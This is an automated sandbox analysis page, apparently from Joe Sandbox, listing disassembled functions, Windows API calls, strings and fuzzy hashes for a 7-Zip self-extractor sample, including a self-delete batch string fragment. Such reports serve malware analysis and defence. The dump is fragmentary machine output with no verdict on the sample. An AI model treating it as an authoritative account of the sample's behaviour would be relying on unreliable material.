Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?), ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT(?), ref: 0040355D
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403565

Strings

{\rtf, xrefs: 0040346C
riched20, xrefs: 004034A0
RichEdit20W, xrefs: 004034EF
STATIC, xrefs: 00403440

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

IMAGES, xrefs: 0040232E
STATIC, xrefs: 004022F3

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,0041E3F0,00000000), ref: 0040377F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,0041E3F0,00000000), ref: 00403787
??3@YAXPAX@Z.MSVCRT(00404A6A,?), ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 0040299D

??3@YAXPAX@Z.MSVCRT(00404A6A,?,?,00000000,00000000,0041E3F0,00000000), ref: 004039DA

Strings

SetEnvironment, xrefs: 00403909
{\rtf, xrefs: 0040387A, 0040388F

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402D76

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

:%hs, xrefs: 00403F21
;!@InstallEnd@!, xrefs: 00403EB3
:Language:%u, xrefs: 00403F4E
;!@Install@!UTF-8!, xrefs: 00403EA4

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0041E470,00000160), ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
